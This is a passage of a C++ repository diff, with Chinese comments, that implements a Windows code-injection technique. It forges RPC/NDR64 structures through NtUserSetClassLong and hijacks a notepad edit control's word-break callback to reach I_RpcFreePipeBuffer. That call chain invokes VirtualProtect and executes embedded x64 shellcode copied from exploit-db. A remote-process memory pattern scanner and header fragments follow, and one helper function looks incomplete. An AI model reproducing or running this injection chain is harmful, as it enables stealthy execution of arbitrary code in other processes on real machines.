RPC_STATUS __stdcall I_RpcFreePipeBuffer(RPC_MESSAGE *Message) {
(*(void (__fastcall **)(RPC_BINDING_HANDLE, RPC_MESSAGE *))(*(_QWORD
*)Message->Handle + 0x80))( //Message->Handle + 0x80 = NdrServerCallAll
Message->Handle, // Message->Handle = PRPC_MESSAGE pRpcMsg
Message);
return 0;
}
*/
/*
void __stdcall NdrServerCallAll(PRPC_MESSAGE pRpcMsg)
{
struct _MIDL_SERVER_INFO_ **RpcInterfaceInformation; // rax
unsigned int v2; // [rsp+50h] [rbp+8h] BYREF
RpcInterfaceInformation = (struct _MIDL_SERVER_INFO_
**)pRpcMsg->RpcInterfaceInformation; v2 = 0;
((void (__stdcall *)(void *, void *, struct _RPC_MESSAGE *, struct
_MIDL_SERVER_INFO_ *, int (*const *)(void), struct _MIDL_SYNTAX_INFO *,
unsigned int *))Ndr64StubWorker)( 0i64, 0i64, pRpcMsg,
RpcInterfaceInformation[0xA],
RpcInterfaceInformation[0xA]->DispatchTable,
RpcInterfaceInformation[0xA]->pSyntaxInfo + 1,
&v2);
}
*/
// 不可以用NdrServerCall2的原因是需要调用PerformRpcInitialization。
const auto hRpcRt4 = LoadLibraryA("rpcrt4.dll");
const auto theNdrServerCallAllAddress =
(uint64_t)GetProcAddress(hRpcRt4, "NdrServerCallAll");
const auto theI_RpcFreePipeBufferAddr =
GetProcAddress(hRpcRt4, "I_RpcFreePipeBuffer");
const auto theVirtualProtectAddr = (void*)VirtualProtect;
// PRPC_MESSAGE->Handle
/*
const auto fnInitRpcMessageHandle = [&](void* localStartAddress, void*
remoteStartAddress, void* callAddress) -> void { static const auto maxSize =
sizeof(RPC_MESSAGE) + 0x100 + 0x80 + 0x80; const auto tempBuffer = new
char[maxSize]; memset(tempBuffer, 0x0, maxSize); const auto
remote_notepad_rpc_Message = (PRPC_MESSAGE)((uint64_t)remoteStartAddress);
const auto remote_notepad_rpc_Message_handle =
(void*)((uint64_t)remote_notepad_rpc_Message + sizeof(RPC_MESSAGE));
//这里会是RPC_MESSAGE开头
const auto remote_notepad_rpc_RpcInterfaceInformation =
(void*)((uint64_t)remote_notepad_rpc_Message_handle + 0x100); const auto
remote_notepad_rpc_RpcInterfaceInformation_DisPathTable =
(void*)((uint64_t)remote_notepad_rpc_RpcInterfaceInformation + 0x80); const
auto remote_notepad_rpc_RpcInterfaceInformation_DisPathTable_Dispath =
(void*)((uint64_t)remote_notepad_rpc_RpcInterfaceInformation_DisPathTable +
0x80);
const auto local_rpc_Message = (PRPC_MESSAGE)((uint64_t)tempBuffer);
const auto local_rpc_Message_handle =
(void*)((uint64_t)local_rpc_Message +
sizeof(RPC_MESSAGE));//这里会是RPC_MESSAGE开头,很重要,给后面的local_rpc_dispath_table_dispath_table用
const auto local_rpc_RpcInterfaceInformation =
(void*)((uint64_t)local_rpc_Message_handle + sizeof(RPC_MESSAGE) + 0x100);
const auto local_rpc_RpcInterfaceInformation_DisPathTable =
(void*)((uint64_t)local_rpc_RpcInterfaceInformation + 0x80); const auto
local_rpc_RpcInterfaceInformation_DisPathTable_Dispath =
(void*)((uint64_t)local_rpc_RpcInterfaceInformation_DisPathTable + 0x80);
local_rpc_Message->ProcNum = 0; //这里填0
local_rpc_Message->RpcInterfaceInformation =
(void**)remote_notepad_rpc_RpcInterfaceInformation;
local_rpc_Message->Handle = (void*)remote_notepad_rpc_Message_handle;
// 填第一次Message->Handle + 0x80的地址 :
*(uint64_t*)((uint64_t)local_rpc_Message_handle + 0x80) =
theNdrServerCallAllAddress;
auto wtf = ((uint64_t)local_rpc_RpcInterfaceInformation + 0xA0 *
sizeof(void*));
*(uint32_t*)(wtf + 0x0) = 0x80;//长度
*(uint64_t*)(wtf + 0x8) =
(uint64_t)remote_notepad_rpc_RpcInterfaceInformation_DisPathTable;//dispathPath(也是一个数组)
auto local_rpc_dispath_table =
(uint64_t*)(local_rpc_RpcInterfaceInformation_DisPathTable);
*(uint32_t*)((uint64_t)local_rpc_dispath_table + 0x0) = 1;//
dispath_count
*(uint64_t*)((uint64_t)local_rpc_dispath_table + 0x4) =
(uint64_t)remote_notepad_rpc_RpcInterfaceInformation_DisPathTable_Dispath;
// dispath_dispath
auto local_rpc_dispath_table_dispath_table =
(uint64_t*)(local_rpc_RpcInterfaceInformation_DisPathTable_Dispath);
*(uint64_t*)((uint64_t)local_rpc_dispath_table_dispath_table + 0x0) =
(uint64_t)callAddress; memcpy(tempBuffer, local_rpc_Message, maxSize);
// +8的原因是里面会读一次RCX这个傻逼指针,所以+8是给RCX指针的 32位给4
auto baseIndex = (uint64_t)localStartAddress + 0x8 -
(uint64_t)TheTagClsAddress; for (size_t i = 0; i < maxSize; i++)
{
NtUserSetClassLong(hwndMessage, i + baseIndex, tempBuffer[i],
FALSE);
}
delete[] tempBuffer;
};
*/
// const auto localrpcMessage = (PRPC_MESSAGE)((uint64_t)TheTagClsAddress +
// 0x8); const auto remoterpcMessage =
// (PRPC_MESSAGE)((uint64_t)TheNotepadTagClsAddress + 0x8);
// +8的原因是里面会读一次RCX这个傻逼指针,所以+8是给RCX指针的 32位给4
/*
fnInitRpcMessageHandle((void*)((uint64_t)TheTagClsAddress),
(void*)((uint64_t)TheNotepadTagClsAddress),
(void*)theNdrServerCallAllAddress);
*/
// const auto local_rpc_Message_handle22 = (void*)((uint64_t)localrpcMessage
// + sizeof(RPC_MESSAGE));
// 现在再填一次local_rpc_Message_handle
// fnInitRpcMessageHandle((void*)localrpcMessage->Handle,
// (void*)remoterpcMessage, (void*)theVirtualProtectAddr);
// +0指向自己 +8的地方
// *(uint64_t*)((uint64_t)TheTagClsAddress + 0x0) =
// (uint64_t)localrpcMessage;
/*
char tempBuffer[8];
memcpy(tempBuffer, &remoterpcMessage, 8);
for (size_t i = 0; i < 8; i++)
{
NtUserSetClassLong(hwndMessage, i, tempBuffer[i], FALSE);
}
*/
const auto allocShellcodeSize = 2048;
char* tmpShellcode = (char*)malloc(allocShellcodeSize);
memset(tmpShellcode, 0, allocShellcodeSize);
char* editShellcode = (char*)malloc(allocShellcodeSize);
memset(editShellcode, 0, allocShellcodeSize);
// I_RpcFreePipeBuffer(Message)
// Message = EditControlPtr
// Message->Handle = Shellcode
// *Message->Handle = Shellcode
*(ULONG_PTR*)tmpShellcode = (ULONG_PTR)TheNotepadTagClsAddress;
// *Message->Handle + 0x80 = NdrServerCallAll
*(ULONG_PTR*)(tmpShellcode + 0x80) = (ULONG_PTR)theNdrServerCallAllAddress;
#define REMOTE_CLS_ADDRESS(x) \
((ULONG_PTR)(x) - (ULONG_PTR)tmpShellcode + \
(ULONG_PTR)TheNotepadTagClsAddress)
// NdrServerCallAll(pRpcMsg)
// pRpcMsg = Shellcode
RPC_MESSAGE* RpcMsg0 = (RPC_MESSAGE*)tmpShellcode;
RPC_SERVER_INTERFACE* RpcInterfaceInfo0 =
(RPC_SERVER_INTERFACE*)(tmpShellcode + 0x88);
MIDL_SERVER_INFO* RpcSrvInfo0 =
(MIDL_SERVER_INFO*)(tmpShellcode + 0x88 + sizeof(RPC_SERVER_INTERFACE));
PVOID* DispatchTable0 =
(PVOID*)(tmpShellcode + 0x88 + sizeof(RPC_SERVER_INTERFACE) +
sizeof(MIDL_SERVER_INFO));
MIDL_SYNTAX_INFO* SyntaxInfo0 =
(MIDL_SYNTAX_INFO*)(tmpShellcode + 0x88 + sizeof(RPC_SERVER_INTERFACE) +
sizeof(MIDL_SERVER_INFO) + sizeof(PVOID));
MIDL_STUB_DESC* StubDesc0 =
(MIDL_STUB_DESC*)(tmpShellcode + 0x88 + sizeof(RPC_SERVER_INTERFACE) +
sizeof(MIDL_SERVER_INFO) + sizeof(PVOID) +
sizeof(MIDL_SYNTAX_INFO) * 2);
ULONG_PTR* FmtStrOffset0 =
(ULONG_PTR*)(tmpShellcode + 0x88 + sizeof(RPC_SERVER_INTERFACE) +
sizeof(MIDL_SERVER_INFO) + sizeof(PVOID) +
sizeof(MIDL_SYNTAX_INFO) * 2 + sizeof(MIDL_STUB_DESC));
NDR64_PROC_FORMAT* ProcStr0 =
(NDR64_PROC_FORMAT*)(tmpShellcode + 0x88 +
sizeof(RPC_SERVER_INTERFACE) +
sizeof(MIDL_SERVER_INFO) + sizeof(PVOID) +
sizeof(MIDL_SYNTAX_INFO) * 2 +
sizeof(MIDL_STUB_DESC) + sizeof(ULONG_PTR));
//_NDR_PROC_CONTEXT Ndr+Proc
DispatchTable0[0] = (PVOID)theNdrServerCallAllAddress;
RpcSrvInfo0->DispatchTable =
(SERVER_ROUTINE*)REMOTE_CLS_ADDRESS(DispatchTable0);
FmtStrOffset0[0] = (ULONG_PTR)REMOTE_CLS_ADDRESS(ProcStr0);
(SyntaxInfo0 + 1)->FmtStringOffset =
(USHORT*)REMOTE_CLS_ADDRESS(FmtStrOffset0);
RpcSrvInfo0->pSyntaxInfo =
(MIDL_SYNTAX_INFO*)REMOTE_CLS_ADDRESS(SyntaxInfo0);
RpcSrvInfo0->pStubDesc = (MIDL_STUB_DESC*)REMOTE_CLS_ADDRESS(StubDesc0);
RpcSrvInfo0->DispatchTable =
(SERVER_ROUTINE*)REMOTE_CLS_ADDRESS(DispatchTable0);
// RpcSrvInfo0->FmtStringOffset = (unsigned short*)0x1337;
RpcSrvInfo0->ProcString = (PFORMAT_STRING)0xAAAA;
RpcInterfaceInfo0->InterpreterInfo =
(MIDL_SERVER_INFO*)REMOTE_CLS_ADDRESS(RpcSrvInfo0);
RpcMsg0->RpcInterfaceInformation =
(RPC_SERVER_INTERFACE*)REMOTE_CLS_ADDRESS(RpcInterfaceInfo0);
RpcMsg0->ProcNum = 0;
RpcMsg0->RpcFlags = 0x1000;
// rpcmsg0->Handle的handle已经在上面设置为TheNotepadTagClsAddress了.所以要在TheNotepadTagClsAddress
// + 0x100的位置设置virtualprotect
*(ULONG_PTR*)(tmpShellcode + 0x100) =
(ULONG_PTR)VirtualProtect; // 为了通过Ndr64pServerUnMarshal最后的那一段
//*(ULONG_PTR*)(tmpShellcode + 0x160) = (ULONG_PTR)tempVar;
////为了通过Ndr64pServerUnMarshal最后的那一段
auto calcOffset = 0x88 + sizeof(RPC_SERVER_INTERFACE) +
sizeof(MIDL_SERVER_INFO) + sizeof(PVOID) +
sizeof(MIDL_SYNTAX_INFO) * 2 + sizeof(MIDL_STUB_DESC) +
sizeof(ULONG_PTR) + sizeof(NDR64_PROC_FORMAT);
// auto remoteCallAddr = REMOTE_CLS_ADDRESS(tmpShellcode + calcOffset);
//*(ULONG_PTR*)(tmpShellcode + calcOffset) = remoteCallAddr;
// calcOffset += sizeof(ULONG_PTR);
/*
* https://github.com/ufwt/windows-XP-SP1/blob/d521b6360fcff4294ae6c5651c539f1b9a6cbb49/XPSP1/NT/com/rpc/ndr64/mulsyntx.cxx#L1152
if ( pParamFlags->IsIn ||
(pParamFlags->IsReturn && !pNdr64Flags->HasComplexReturn) ||
pParamFlags->IsPipe )
continue;
*/
std::vector<_NDR64_PARAM_FORMAT*> theParamTypeAddress;
// type的指针,这个type会读两次 **typeaddr
auto fnSetNdr64Param = [&]() {
static auto currentCopyCount = 0;
auto ndr64Param = (_NDR64_PARAM_FORMAT*)(tmpShellcode + calcOffset);
ndr64Param->Attributes.IsIn = true;
ndr64Param->Attributes.IsBasetype = true;
// auto typeAddress = tmpShellcode + calcOffset;
// theParamTypeAddress.push_back(typeAddress);
// ndr64Param->Type = (void*)REMOTE_CLS_ADDRESS(typeAddress);
ndr64Param->StackOffset = currentCopyCount * 4;
currentCopyCount += 1;
// 这个没用,因为不走IsSimpleRef,simpleref那段内存是read only没办法赋值
// https://github.com/ufwt/windows-XP-SP1/blob/d521b6360fcff4294ae6c5651c539f1b9a6cbb49/XPSP1/NT/com/rpc/ndr64/srvcall.cxx#L694C31-L694C43
//*(char*)(typeAddress) = (char)_Ndr64SimpleTypeBUfferSizeMap::kint64;
// calcOffset += sizeof(_NDR64_PARAM_FORMAT);
theParamTypeAddress.push_back(ndr64Param);
calcOffset += sizeof(_NDR64_PARAM_FORMAT);
};
const auto virtualProtectParamSize = 8 * 4;
for (size_t i = 0; i < virtualProtectParamSize / 4; i++) {
fnSetNdr64Param();
}
auto paramsBuffer = tmpShellcode + calcOffset;
// 设置参数
RpcMsg0->Buffer = (void*)REMOTE_CLS_ADDRESS(paramsBuffer);
RpcMsg0->BufferLength = virtualProtectParamSize; // virtualprotect的参数
calcOffset += RpcMsg0->BufferLength;
// Make HandleType to 0
ProcStr0->Flags = 1;
ProcStr0->StackSize = virtualProtectParamSize;
ProcStr0->NumberOfParams = RpcMsg0->BufferLength / 4;
// https://www.exploit-db.com/shellcodes/49819
// 没办法把shellcode写到cls内存里面,因为那个是map的属性.所以提前写到编辑框里面
unsigned char payload[] =
"\x48\x31\xff\x48\xf7\xe7\x65\x48\x8b\x58\x60\x48\x8b\x5b\x18\x48\x8b"
"\x5b\x20\x48\x8b\x1b\x48\x8b\x1b\x48\x8b\x5b\x20\x49\x89\xd8\x8b"
"\x5b\x3c\x4c\x01\xc3\x48\x31\xc9\x66\x81\xc1\xff\x88\x48\xc1\xe9\x08"
"\x8b\x14\x0b\x4c\x01\xc2\x4d\x31\xd2\x44\x8b\x52\x1c\x4d\x01\xc2"
"\x4d\x31\xdb\x44\x8b\x5a\x20\x4d\x01\xc3\x4d\x31\xe4\x44\x8b\x62\x24"
"\x4d\x01\xc4\xeb\x32\x5b\x59\x48\x31\xc0\x48\x89\xe2\x51\x48\x8b"
"\x0c\x24\x48\x31\xff\x41\x8b\x3c\x83\x4c\x01\xc7\x48\x89\xd6\xf3\xa6"
"\x74\x05\x48\xff\xc0\xeb\xe6\x59\x66\x41\x8b\x04\x44\x41\x8b\x04"
"\x82\x4c\x01\xc0\x53\xc3\x48\x31\xc9\x80\xc1\x07\x48\xb8\x0f\xa8\x96"
"\x91\xba\x87\x9a\x9c\x48\xf7\xd0\x48\xc1\xe8\x08\x50\x51\xe8\xb0"
"\xff\xff\xff\x49\x89\xc6\x48\x31\xc9\x48\xf7\xe1\x50\x48\xb8\x9c\x9e"
"\x93\x9c\xd1\x9a\x87\x9a\x48\xf7\xd0\x50\x48\x89\xe1\x48\xff\xc2"
"\x48\x83\xec\x20\x41\xff\xd6";
// const auto shellcodeAddress = tmpShellcode + calcOffset;
// memcpy(shellcodeAddress, payload, sizeof(payload));
// calcOffset += sizeof(payload);
// typedef LONG(NTAPI* FnNtUserMessageCall)(HWND hWnd, UINT msg, WPARAM
// wParam, LPARAM lParam, ULONG_PTR ResultInfo, DWORD dwType, BOOL bAscii);
// FnNtUserMessageCall NtUserMessageCall =
// (FnNtUserMessageCall)GetProcAddress(LoadLibrary(L"win32u.dll"),
// "NtUserMessageCall");
//
// 执行payload
// 1.给回调设置参数为我们的payload
// SendMessageA才生效,不知道为什么,否则会报60
auto result1 =
SendMessageA(hwndEdit, WM_SETTEXT, 0, (LPARAM)&TheNotepadTagClsAddress);
// auto result1 = NtUserMessageCall(hwndEdit, WM_SETTEXT, 0,
// (LPARAM)&TheNotepadTagClsAddress, 0, 0x2B1, 1);
// 等完全输入完毕
WaitForInputIdle(pi.hProcess, INFINITE);
result1 = PostMessageA(hwndEdit, WM_LBUTTONDBLCLK, MK_LBUTTON, (LPARAM)0);
// ***这里有个限制 除非我是英文系统 否则会被格式为Utf-8导致不能用**
// 我直接writememory让那个地方看起来像是英文系统
auto emh = (PVOID)SendMessage(hwndEdit, EM_GETHANDLE, 0, 0);
PVOID embuf;
SIZE_T numOfWrite;
ReadProcessMemory(pi.hProcess, emh, &embuf, sizeof(ULONG_PTR), &numOfWrite);
WriteProcessMemory(pi.hProcess, embuf, &TheNotepadTagClsAddress, 8,
&numOfWrite);
WriteProcessMemory(pi.hProcess, (char*)((uint64_t)embuf + 8), payload,
sizeof(payload), &numOfWrite);
const auto shellcodeAddress = (uint64_t)embuf + 8;
const auto virtualProtectReturnValue = shellcodeAddress + sizeof(payload);
const auto editShellcodeLocation = shellcodeAddress + sizeof(payload) + sizeof(uint64_t);
/*
_In_ LPVOID lpAddress,
_In_ SIZE_T dwSize,
_In_ DWORD flNewProtect,
_Out_ PDWORD lpflOldProtect
*/
auto tempCover = (uint64_t)TheNotepadTagClsAddress;
memcpy(paramsBuffer, &tempCover, 8);
tempCover = (uint64_t)sizeof(payload);
memcpy(paramsBuffer + 8, &tempCover, 8);
tempCover = (uint64_t)PAGE_EXECUTE_READWRITE;
memcpy(paramsBuffer + 8 + 8, &tempCover, 8);
// 这个地方是readonly的,如果直接传给virtualprotect会失败.所以也得放在编辑框里面
/*
auto oldProtectAddress = (uint64_t)REMOTE_CLS_ADDRESS(tmpShellcode +
calcOffset); tempCover = (uint64_t)tmpShellcode + calcOffset;
memcpy(paramsBuffer + 8 + 8 + 8, &oldProtectAddress, 8);
calcOffset += sizeof(uint64_t);
*(uint64_t*)tempCover = (uint64_t)REMOTE_CLS_ADDRESS((uint64_t)(tmpShellcode
+ calcOffset)); calcOffset += sizeof(uint64_t);
*/
memcpy(paramsBuffer + 8 + 8 + 8, &virtualProtectReturnValue, 8);
calcOffset += sizeof(uint64_t);
for (auto ndr64Param : theParamTypeAddress) {
auto typeAddress = tmpShellcode + calcOffset;
ndr64Param->Type = (void*)REMOTE_CLS_ADDRESS(typeAddress);
calcOffset += sizeof(void*);
*(char*)(typeAddress) = (char)_Ndr64SimpleTypeBUfferSizeMap::kint64;
calcOffset += sizeof(char);
}
for (size_t i = 0; i < allocShellcodeSize; i++) {
NtUserSetClassLong(hwndMessage, i, tmpShellcode[i], FALSE);
}
// 2.设置I_RpcFreePipeBuffer为回调地址
// bp rpcrt4!I_RpcFreePipeBuffer
result1 = PostMessageA(hwndEdit, EM_SETWORDBREAKPROC, 0,
(LPARAM)theI_RpcFreePipeBufferAddr);
// 3. 激活
result1 = PostMessageA(hwndEdit, WM_LBUTTONDBLCLK, MK_LBUTTON, (LPARAM)0);
// 4. cleanup
SendMessage(hwndEdit, EM_SETWORDBREAKPROC, 0, (LPARAM)NULL);
// SendMessageA(hwndEdit, WM_SETTEXT, 0, (LPARAM)INJPATH);
// SendMessageW(hwndEdit, EM_SETWORDBREAKPROC, 0, (LPARAM)embuf.p);
return 0;
}
void buildEditShellCode(char* tmpShellcode, uint64_t editShellcodeLocation, uint64_t theNdrServerCallAllAddress) {
//第二个shellcode在编辑框里面,负责call virtualprotect
*(ULONG_PTR*)tmpShellcode = (ULONG_PTR)editShellcodeLocation;
// *Message->Handle + 0x80 = NdrServerCallAll
*(ULONG_PTR*)(tmpShellcode + 0x80) = (ULONG_PTR)theNdrServerCallAllAddress;
#define REMOTE_EDIT_ADDRESS(x) \
((ULONG_PTR)(x) - (ULONG_PTR)tmpShellcode + \
(ULONG_PTR)editShellcodeLocation)
RPC_MESSAGE* RpcMsg0 = (RPC_MESSAGE*)tmpShellcode;
RPC_SERVER_INTERFACE* RpcInterfaceInfo0 =
(RPC_SERVER_INTERFACE*)(tmpShellcode + 0x88);
MIDL_SERVER_INFO* RpcSrvInfo0 =
(MIDL_SERVER_INFO*)(tmpShellcode + 0x88 + sizeof(RPC_SERVER_INTERFACE));
PVOID* DispatchTable0 =
(PVOID*)(tmpShellcode + 0x88 + sizeof(RPC_SERVER_INTERFACE) +
sizeof(MIDL_SERVER_INFO));
MIDL_SYNTAX_INFO* SyntaxInfo0 =
(MIDL_SYNTAX_INFO*)(tmpShellcode + 0x88 + sizeof(RPC_SERVER_INTERFACE) +
sizeof(MIDL_SERVER_INFO) + sizeof(PVOID));
MIDL_STUB_DESC* StubDesc0 =
(MIDL_STUB_DESC*)(tmpShellcode + 0x88 + sizeof(RPC_SERVER_INTERFACE) +
sizeof(MIDL_SERVER_INFO) + sizeof(PVOID) +
sizeof(MIDL_SYNTAX_INFO) * 2);
ULONG_PTR* FmtStrOffset0 =
(ULONG_PTR*)(tmpShellcode + 0x88 + sizeof(RPC_SERVER_INTERFACE) +
sizeof(MIDL_SERVER_INFO) + sizeof(PVOID) +
sizeof(MIDL_SYNTAX_INFO) * 2 + sizeof(MIDL_STUB_DESC));
NDR64_PROC_FORMAT* ProcStr0 =
(NDR64_PROC_FORMAT*)(tmpShellcode + 0x88 +
sizeof(RPC_SERVER_INTERFACE) +
sizeof(MIDL_SERVER_INFO) + sizeof(PVOID) +
sizeof(MIDL_SYNTAX_INFO) * 2 +
sizeof(MIDL_STUB_DESC) + sizeof(ULONG_PTR));
//_NDR_PROC_CONTEXT Ndr+Proc
DispatchTable0[0] = (PVOID)VirtualProtect;
RpcSrvInfo0->DispatchTable =
(SERVER_ROUTINE*)REMOTE_EDIT_ADDRESS(DispatchTable0);
FmtStrOffset0[0] = (ULONG_PTR)REMOTE_EDIT_ADDRESS(ProcStr0);
(SyntaxInfo0 + 1)->FmtStringOffset =
(USHORT*)REMOTE_EDIT_ADDRESS(FmtStrOffset0);
RpcSrvInfo0->pSyntaxInfo =
(MIDL_SYNTAX_INFO*)REMOTE_EDIT_ADDRESS(SyntaxInfo0);
RpcSrvInfo0->pStubDesc = (MIDL_STUB_DESC*)REMOTE_EDIT_ADDRESS(StubDesc0);
RpcSrvInfo0->DispatchTable =
(SERVER_ROUTINE*)REMOTE_EDIT_ADDRESS(DispatchTable0);
// RpcSrvInfo0->FmtStringOffset = (unsigned short*)0x1337;
RpcSrvInfo0->ProcString = (PFORMAT_STRING)0xAAAA;
RpcInterfaceInfo0->InterpreterInfo =
(MIDL_SERVER_INFO*)REMOTE_EDIT_ADDRESS(RpcSrvInfo0);
RpcMsg0->RpcInterfaceInformation =
(RPC_SERVER_INTERFACE*)REMOTE_EDIT_ADDRESS(RpcInterfaceInfo0);
RpcMsg0->ProcNum = 0;
RpcMsg0->RpcFlags = 0x1000;
*(ULONG_PTR*)(tmpShellcode + 0x100) =
(ULONG_PTR)VirtualProtect;
auto calcOffset = 0x88 + sizeof(RPC_SERVER_INTERFACE) +
sizeof(MIDL_SERVER_INFO) + sizeof(PVOID) +
sizeof(MIDL_SYNTAX_INFO) * 2 + sizeof(MIDL_STUB_DESC) +
sizeof(ULONG_PTR) + sizeof(NDR64_PROC_FORMAT);
// auto remoteCallAddr = REMOTE_CLS_ADDRESS(tmpShellcode + calcOffset);
//*(ULONG_PTR*)(tmpShellcode + calcOffset) = remoteCallAddr;
// calcOffset += sizeof(ULONG_PTR);
/*
* https://github.com/ufwt/windows-XP-SP1/blob/d521b6360fcff4294ae6c5651c539f1b9a6cbb49/XPSP1/NT/com/rpc/ndr64/mulsyntx.cxx#L1152
if ( pParamFlags->IsIn ||
(pParamFlags->IsReturn && !pNdr64Flags->HasComplexReturn) ||
pParamFlags->IsPipe )
continue;
*/
std::vector<_NDR64_PARAM_FORMAT*> theParamTypeAddress;
// type的指针,这个type会读两次 **typeaddr
auto fnSetNdr64Param = [&]() {
static auto currentCopyCount = 0;
auto ndr64Param = (_NDR64_PARAM_FORMAT*)(tmpShellcode + calcOffset);
ndr64Param->Attributes.IsIn = true;
ndr64Param->Attributes.IsBasetype = true;
// auto typeAddress = tmpShellcode + calcOffset;
// theParamTypeAddress.push_back(typeAddress);
// ndr64Param->Type = (void*)REMOTE_CLS_ADDRESS(typeAddress);
ndr64Param->StackOffset = currentCopyCount * 4;
currentCopyCount += 1;
// 这个没用,因为不走IsSimpleRef,simpleref那段内存是read only没办法赋值
// https://github.com/ufwt/windows-XP-SP1/blob/d521b6360fcff4294ae6c5651c539f1b9a6cbb49/XPSP1/NT/com/rpc/ndr64/srvcall.cxx#L694C31-L694C43
//*(char*)(typeAddress) = (char)_Ndr64SimpleTypeBUfferSizeMap::kint64;
// calcOffset += sizeof(_NDR64_PARAM_FORMAT);
theParamTypeAddress.push_back(ndr64Param);
calcOffset += sizeof(_NDR64_PARAM_FORMAT);
};
const auto virtualProtectParamSize = 8 * 4;
for (size_t i = 0; i < virtualProtectParamSize / 4; i++) {
fnSetNdr64Param();
}
auto paramsBuffer = tmpShellcode + calcOffset;
// 设置参数
RpcMsg0->Buffer = (void*)REMOTE_CLS_ADDRESS(paramsBuffer);
RpcMsg0->BufferLength = virtualProtectParamSize; // virtualprotect的参数
calcOffset += RpcMsg0->BufferLength;
// Make HandleType to 0
ProcStr0->Flags = 1;
ProcStr0->StackSize = virtualProtectParamSize;
ProcStr0->NumberOfParams = RpcMsg0->BufferLength / 4;
// https://www.exploit-db.com/shellcodes/49819
// 没办法把shellcode写到cls内存里面,因为那个是map的属性.所以提前写到编辑框里面
unsigned char payload[] =
"\x48\x31\xff\x48\xf7\xe7\x65\x48\x8b\x58\x60\x48\x8b\x5b\x18\x48\x8b"
"\x5b\x20\x48\x8b\x1b\x48\x8b\x1b\x48\x8b\x5b\x20\x49\x89\xd8\x8b"
"\x5b\x3c\x4c\x01\xc3\x48\x31\xc9\x66\x81\xc1\xff\x88\x48\xc1\xe9\x08"
"\x8b\x14\x0b\x4c\x01\xc2\x4d\x31\xd2\x44\x8b\x52\x1c\x4d\x01\xc2"
"\x4d\x31\xdb\x44\x8b\x5a\x20\x4d\x01\xc3\x4d\x31\xe4\x44\x8b\x62\x24"
"\x4d\x01\xc4\xeb\x32\x5b\x59\x48\x31\xc0\x48\x89\xe2\x51\x48\x8b"
"\x0c\x24\x48\x31\xff\x41\x8b\x3c\x83\x4c\x01\xc7\x48\x89\xd6\xf3\xa6"
"\x74\x05\x48\xff\xc0\xeb\xe6\x59\x66\x41\x8b\x04\x44\x41\x8b\x04"
"\x82\x4c\x01\xc0\x53\xc3\x48\x31\xc9\x80\xc1\x07\x48\xb8\x0f\xa8\x96"
"\x91\xba\x87\x9a\x9c\x48\xf7\xd0\x48\xc1\xe8\x08\x50\x51\xe8\xb0"
"\xff\xff\xff\x49\x89\xc6\x48\x31\xc9\x48\xf7\xe1\x50\x48\xb8\x9c\x9e"
"\x93\x9c\xd1\x9a\x87\x9a\x48\xf7\xd0\x50\x48\x89\xe1\x48\xff\xc2"
"\x48\x83\xec\x20\x41\xff\xd6";
PVOID embuf;
SIZE_T numOfWrite;
ReadProcessMemory(pi.hProcess, emh, &embuf, sizeof(ULONG_PTR), &numOfWrite);
WriteProcessMemory(pi.hProcess, embuf, &TheNotepadTagClsAddress, 8,
&numOfWrite);
WriteProcessMemory(pi.hProcess, (char*)((uint64_t)embuf + 8), payload,
sizeof(payload), &numOfWrite);
const auto shellcodeAddress = (uint64_t)embuf + 8;
const auto virtualProtectReturnValue = shellcodeAddress + sizeof(payload);
const auto editShellcodeLocation = shellcodeAddress + sizeof(payload) + sizeof(uint64_t);
auto tempCover = (uint64_t)TheNotepadTagClsAddress;
memcpy(paramsBuffer, &tempCover, 8);
tempCover = (uint64_t)sizeof(payload);
memcpy(paramsBuffer + 8, &tempCover, 8);
tempCover = (uint64_t)PAGE_EXECUTE_READWRITE;
memcpy(paramsBuffer + 8 + 8, &tempCover, 8);
memcpy(paramsBuffer + 8 + 8 + 8, &virtualProtectReturnValue, 8);
calcOffset += sizeof(uint64_t);
for (auto ndr64Param : theParamTypeAddress) {
auto typeAddress = tmpShellcode + calcOffset;
ndr64Param->Type = (void*)REMOTE_CLS_ADDRESS(typeAddress);
calcOffset += sizeof(void*);
*(char*)(typeAddress) = (char)_Ndr64SimpleTypeBUfferSizeMap::kint64;
calcOffset += sizeof(char);
}
}
int main() { wWinMain(0, 0, 0, 0); }

BIN
small.ico Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 45 KiB

79
sunday.cpp Normal file
View File

@@ -0,0 +1,79 @@
#include "framework.h"
#include <windows.h>
#include <string>
#include <vector>
#define INRANGE(x,a,b) (x >= a && x <= b)
#define getBits( x ) (INRANGE((x&(~0x20)),'A','F') ? ((x&(~0x20)) - 'A' + 0xa) : (INRANGE(x,'0','9') ? x - '0' : 0))
#define getByte( x ) (getBits(x[0]) << 4 | getBits(x[1]))
PVOID
SundaySearch_ByProcess(
HANDLE ProcesHandle,
char* pattern,
PVOID address,
SIZE_T readSize
) {
size_t patLen = strlen(pattern);
patLen = (patLen + 1) / 3;
if (readSize < patLen)
return NULL;
auto dataVec = std::vector<char>();
dataVec.resize(readSize);
SIZE_T bytesRead;
SIZE_T TotalSize = readSize;
SIZE_T CurOffset = 0;
while (TotalSize)
{
ULONG64 ReadSize = min(0x1000, TotalSize);
bytesRead = 0;
auto ret = ReadProcessMemory(ProcesHandle,
(void*)((uint64_t)address + CurOffset),
(PVOID)((uint64_t)dataVec.data() + CurOffset), ReadSize, &bytesRead);
TotalSize -= bytesRead;
CurOffset += bytesRead;
if (ret != true) break;
if (bytesRead == 0) break;
}
size_t i = 0;
while (i < readSize)
{
size_t j = 0;
UCHAR c1 = 0;
UCHAR c2 = 0;
while (j < patLen &&
i + j < readSize &&
(*(pattern + j * 3) == '\?' ||
(c1 = dataVec[i + j]) == (c2 = getByte((pattern + j * 3)))))
{
j++;
}
if (j == patLen)
{
return (PVOID)((DWORD_PTR)address + i);
}
else
{
LONGLONG k = (LONGLONG)j;
if (i + patLen < readSize)
{
for (k = (LONGLONG)(patLen - 1); k >= 0; k--)
{
c1 = getByte((pattern + k * 3));
c2 = dataVec[i + patLen];
if (*(pattern + k * 3) == '\?' || c1 == c2)
break;
}
}
i += (size_t)(patLen - k);
}
}
return NULL;
}

6
targetver.h Normal file
View File

@@ -0,0 +1,6 @@
#pragma once
// // 包含 SDKDDKVer.h 可定义可用的最高版本的 Windows 平台。
// 如果希望为之前的 Windows 平台构建应用程序,在包含 SDKDDKVer.h 之前请先包含 WinSDKVer.h 并
// 将 _WIN32_WINNT 宏设置为想要支持的平台。
#include <SDKDDKVer.h>

261
teb_def.h Normal file
View File

@@ -0,0 +1,261 @@
#pragma once
#include <windows.h>
typedef struct _STRING32 {
USHORT Length;
USHORT MaximumLength;
